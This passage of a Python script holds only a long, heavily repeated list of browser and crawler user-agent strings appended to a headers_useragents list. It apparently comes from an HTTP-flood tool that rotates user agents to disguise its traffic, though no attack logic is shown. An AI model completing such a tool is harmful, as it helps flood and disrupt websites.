rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 